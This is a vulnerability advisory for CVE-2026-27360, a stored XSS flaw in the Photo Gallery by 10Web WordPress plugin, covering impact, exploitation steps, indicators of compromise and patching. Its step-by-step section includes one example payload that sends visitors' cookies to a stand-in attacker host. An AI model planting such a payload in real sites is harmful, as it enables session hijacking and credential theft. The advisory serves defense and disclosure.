CVE-2026-27360: 
WordPress vulnerability analysis and mitigation

CVE-2026-27360 is a Stored Cross-Site Scripting (XSS) vulnerability in the Photo Gallery by 10Web WordPress plugin. It affects all versions up to and including 1.8.38, and was patched in version 1.8.39. The vulnerability was reported by researcher Tabulra on November 25, 2025, and published on December 25, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with Editor-level privileges can inject malicious scripts into the plugin's input fields, which are then stored in the database and rendered to site visitors without proper sanitization or escaping. Exploitation requires high privileges (Editor role) and user interaction from a victim, meaning a privileged user must first submit the malicious payload, which is then executed in the browsers of users who subsequently visit the affected page (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of visiting users. This can lead to session hijacking, credential theft, unauthorized redirects, defacement, or delivery of malicious content to site visitors. The scope is changed (cross-site), meaning the impact extends beyond the attacker's own session to affect end users of the site (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires high privileges (Editor role) to exploit, which significantly limits the attacker pool. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and Patchstack classifies it as low priority with unlikely exploitation (Patchstack).

1. Privilege Acquisition: Obtain or compromise an account with Editor-level (or higher) privileges on the target WordPress site running Photo Gallery by 10Web version 1.8.38 or earlier.
2. Identify Injection Point: Navigate to the Photo Gallery plugin's administrative interface and locate an input field (e.g., gallery title, description, or caption) that is vulnerable to stored XSS due to insufficient output escaping.
3. Inject Malicious Payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the entry.
4. Payload Persistence: The malicious script is stored in the WordPress database and associated with the gallery or photo entry.
5. Victim Execution: When any site visitor (including administrators) views the page containing the injected gallery content, the malicious script executes in their browser, potentially stealing session cookies, redirecting users, or performing other unauthorized actions (Patchstack).

• Logs: WordPress access logs showing POST requests to photo gallery admin endpoints (e.g., /wp-admin/admin.php?page=photo-gallery) containing script tags or encoded JavaScript payloads.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) stored in the wp_bwg_gallery or related Photo Gallery plugin database tables.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing photo galleries, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for unexpected changes to plugin files that could indicate further compromise following initial XSS exploitation.

The vendor released version 1.8.39 of the Photo Gallery by 10Web plugin to address this vulnerability. Site administrators should update the plugin to version 1.8.39 or later immediately via the WordPress dashboard or manually. As a temporary workaround if updating is not immediately possible, restrict Editor-level access to trusted users only and consider using a web application firewall (WAF) with XSS filtering rules. Patchstack users can enable auto-update for vulnerable plugins to receive protection automatically (Patchstack).

Patchstack, which coordinated the disclosure, classifies this vulnerability as low priority with unlikely exploitation given the high privilege requirement. The vulnerability was responsibly reported by researcher Tabulra through Patchstack's vulnerability disclosure process. No significant broader media coverage or notable community discussion has been identified for this CVE (Patchstack).